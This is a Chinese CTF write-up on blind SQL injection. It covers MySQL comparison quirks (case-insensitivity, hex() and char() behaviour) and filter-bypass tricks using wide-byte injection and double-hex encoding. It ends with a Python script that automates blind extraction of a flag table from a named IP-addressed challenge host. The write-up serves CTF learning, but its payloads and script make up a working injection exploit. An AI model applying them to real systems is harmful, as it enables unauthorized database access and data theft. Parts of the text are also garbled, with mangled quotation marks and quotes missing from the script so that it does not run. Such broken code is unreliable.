首页 > 代码库 > 一道CTF题引发的思考-MySQL的几个特性

一道CTF题引发的思考-MySQL的几个特性

0x01   背景

  前天在做一道CTF题目时一道盲注题,其实盲注也有可能可以回显数据的,如使用DNS或者HTTP等日志来快速的获取数据,MYSQL可以利用LOAD_FILE()函数读取数据,并向远程DNS主机发送数据信息,此时DNS日志文件中就会有盲注语句的查询结果。这里不做这部分的讨论,只是说下有这种方法,在这道题目中我是使用常规的盲注的方式获取数据的。其中遇到有以下几个问题:

  1. 过滤规则的判断与绕过
  2. MySQL的一些少有人总结的特性
  3. 手动盲注的繁琐低效

这题确实让我思考了很多,当然还有一些特性我不太清楚,也希望能有朋友多多指教。

题目的地址:http://218.2.197.235:23733/index.php

 

0x02   MySQL的一些特性总结

  首先先说下MySQL的一些特性,然后再说题目吧,这样我认为更好的能够说明当时做题时遇到的问题及解决的方法。

(1)  比较字符串时大小写不强匹配

mysql> select ‘1abc‘=‘1AbC‘;

+---------------+

| ‘1abc‘=‘1AbC‘  |

+---------------+

|             1        |

+---------------+

1 row in set

 

(2) 数字的字符串与数字本身相等

mysql> select 123=123;

+---------+

| 123=123 |

+---------+

|       1      |

+---------+

1 row in set

mysql> select ‘123‘=123;

+-----------+

| ‘123‘=123 |

+-----------+

|         1      |

+-----------+

1 row in set

 

(3)  hex()转换后的结果是字符串,其实此处应为abc的显示结果是纯10进制的值,所以根据(2)中的特性,hex(‘abc‘)=616263会相等,但是其实,hex()的结果是字符串的。

 

mysql> select hex(‘abc‘);

+------------+

| hex(‘abc‘)   |

+------------+

| 616263      |

+------------+

1 row in set

 

mysql> select hex(‘abc‘)=616263;

+-------------------+

| hex(‘abc‘)=616263 |

+-------------------+

|                 1          |

+-------------------+

1 row in set

 

mysql> select hex(‘abc‘)=‘616263‘;

+---------------------+

| hex(‘abc‘)=‘616263‘ |

+---------------------+

|                   1          |

+---------------------+

1 row in set

 

以下的例子用来说明hex()的结果是个字符串,原谅我如此啰嗦 :-)

mysql> select hex(‘root‘);

+-------------+

| hex(‘root‘)   |

+-------------+

| 726F6F74    |

+-------------+

1 row in set

 

mysql> select hex(‘root‘)=726F6F74;

1054 - Unknown column ‘726F6F74‘ in ‘field list‘

mysql> select hex(‘root‘)=‘726F6F74‘;

+------------------------+

| hex(‘root‘)=‘726F6F74‘ |

+------------------------+

|                      1      |

+------------------------+

1 row in set

 

标注:此处由于结果是16进制的,所以无法直接匹配726F6F74,而是需要加上引号,所以可以说明hex()的结果就是个字符串,但是上面的例子因为hex(‘abc‘)是纯数字所以会与数字616263相等

  那好,这时候可能有同学会问了:那只要直接将726F6F74加上0x就可以了吧?! 这里其实是初学者的一认识个误区,下面的例子就说明这个理解是错的。

mysql> select hex(‘root‘);

+-------------+

| hex(‘root‘)   |

+-------------+

| 726F6F74    |

+-------------+

1 row in set

 

mysql> select hex(‘root‘)=0x726F6F74;

+------------------------+

| hex(‘root‘)=0x726F6F74 |

+------------------------+

|                      0             |

+------------------------+

1 row in set

  那好,那0x726F6F74到底是什么呢?其实我们直接将这串16进制编码的字符解码下就知道了,结果是root,所以刚刚hex(‘root‘)=0x726F6F74的时候,其实就是字符串"726F6F74"="root"所以肯定是不相等的。

mysql> select 0x726F6F74;

+------------+

| 0x726F6F74 |

+------------+

| root             |

+------------+

1 row in set

  所以要使上述的等式相等就需要将字符串"726F6F74"再进行一次16进制编码,然后前面需要加上0x,等式才能够成立。

mysql> select hex(‘726F6F74‘);

+------------------+

| hex(‘726F6F74‘)  |

+------------------+

| 3732364636463734 |

+------------------+

1 row in set

 

mysql> select hex(‘root‘)=0x3732364636463734;

+--------------------------------+

| hex(‘root‘)=0x3732364636463734 |

+--------------------------------+

|                              1                    |

+--------------------------------+

1 row in set

 

(4)  引号的其他代替方式

  在MySQL我们经过上面的总结知道字符串除了使用单双引号声明,也可以使用16进制编码,再有就是使用char()来声明,当然在某些场景下过滤了单双引号和时我们可选择16进制和char()来对字符串进行编码,这里提下char()进行字符串比较的特性。

  其实在做题的时候遇到的一个可疑点,就是在进行枚举的时候发现出现两个,char(84),char(116)的结果是一样的,解码后发现都是t,char(84)是T,char(116)是t。

技术分享

技术分享

  按照前面(1)说到的,比较字符串时大小写不强匹配,于是我做了以下实验来验证我的想法,结果让我大吃了很多惊,竟然是不相等,这个问题我至今还未想明白,有牛牛想到了,我很希望一起交流下,这个也是我做题后一直思考不明白的点。

mysql> select char(84);

+----------+

| char(84)  |

+----------+

| T            |

+----------+

1 row in set

 

mysql> select ‘t‘=char(84);

+--------------+

| ‘t‘=char(84)   |

+--------------+

|            0       |

+--------------+

1 row in set

 

标注:得出结论字符串与char()进行比较时是强匹配的。

 

0x03 简要说下做题过程

  上面先讲了"事后总结",希望以倒叙这种方式能够更好理解我做题过程中为什么要使用hex()首先是注入方式的判断,这个其实也属于常规的判断,后面直接使用宽字节的方式进行注入。

技术分享

技术分享

 

  然后是常规的过滤规则判断,盲注常用的就是ascii与substring进行嵌套,过滤规则的判断,我的方式是:直接在本地写好语句进行测试,然后查看假设没有过滤的情况本地的执行现象是怎么样的,然后再把payload放在真实靶场上进行测试,观察现象是否与本地的一致,一致便是未过滤,不一致便是过滤了。

标注:本地测试,由于题目中是宽字节注入,无法正常使用单双引号声明字符串,所以此处我使用char()对字符串进行编码;所以这个payload:if((substring(user(),1,1)=char(114)),1,0),遍历114的位置正确返回包长度就是2339,不正确是417.

mysql> select user from users where user_id=-1 or if((substring(user(),1,1)=char(114)),1,0);

+---------+

| user    |

+---------+

| admin   |

| gordonb |

| 1337    |

| pablo   |

| smithy  |

+---------+

5 rows in set

  结果发现不管遍历什么都显示2339,证明我们的substring,char()或者user()被过滤了,经过测试是substring被过滤了,这个例子只是想分享下我处理盲注时候怎么判断过滤规则的。

技术分享

技术分享

 

  过滤结果及应对处理:经过以上的方式比较本地测试与实践靶场的现象,得出了以下结论。substring,mid,ord,ascii都被过滤了。最后发现可以使用left()和char(),但是这个方法无法直接获取到准确的flag因为flag中可能有大小写的。(此处char(84)和char(116)的结果为什么一致的疑惑点还未解开)

技术分享

  于是就利用到了hex()中大小写的字符串它们的16进制是不一样的,这样就可以通过hex()来严格匹配大小写。

mysql> select hex(‘Ro‘);

+-----------+

| hex(‘Ro‘)   |

+-----------+

| 526F         |

+-----------+

1 row in set

 

mysql> select hex(‘RO‘);

+-----------+

| hex(‘RO‘)   |

+-----------+

| 524F         |

+-----------+

1 row in set

 

mysql> select hex(‘RO‘)=0x35323446;  //此处的16进制是hex(‘RO‘),即524F的16进制。

+----------------------+

| hex(‘RO‘)=0x35323446 |

+----------------------+

|                    1              |

+----------------------+

1 row in set

  通过手动将t进行2次16进制编码后得到0x3734,进行手动测试验证了想法可行,然后就需要使用这个最简单的payload进行SQL注入了,由于是盲注所以可以大胆猜想falg就在flag表的flag字段中,不然这道题目就太费时间了。

 技术分享

技术分享

 

0x04 解决手动盲注的繁琐和低效

  到了这一步其实就是考验编程能力,直接上python代码吧,写的比较粗糙,希望能和朋友们多交流,相互提高。

 技术分享

#-*- coding:utf-8 -*-

#-*- by Thinking -*-

import requests

import string

 

global u

global payloads

u = "http://218.2.197.235:23733/index.php?key=002265%bf‘||+"

payloads = string.letters + string.digits + string.punctuation

 

def getLen(SQLi):

    for L in range(1, 50+1, 1):

        getLenPayload = "if(((("+ SQLi +"))={}),1,0)%23".format(L)

        url = u + getLenPayload

        getResult = requests.get(url)

        if len(getResult.content) >2000:

            Len = L

            print Len

            break

    return  Len

 

def getData(SQLi,Len):

    char = ‘‘

    temp = ‘‘

    for p in range(1,Len+1):

        for i in payloads :

            I = temp + i.encode(hex).upper().encode(hex)

            getDataPayload = "if((hex(left(("+ SQLi +"),{}))=0x{}),1,0)%23" .format(p,I)

            url = u + getDataPayload

            getResult = requests.get(url)

            if len(getResult.content) > 2000:

                char = char + i

                temp = temp + i.encode(hex).upper().encode(hex)

                print char.ljust(Len, -)

                break

def main() :

    data = "select(length(flag))from(flag)"

    dataLen = getLen(data)

    SQLi = "select(flag)from(flag)"

    getData(SQLi, dataLen)

if __name__ == __main__:

    main()

 

一道CTF题引发的思考-MySQL的几个特性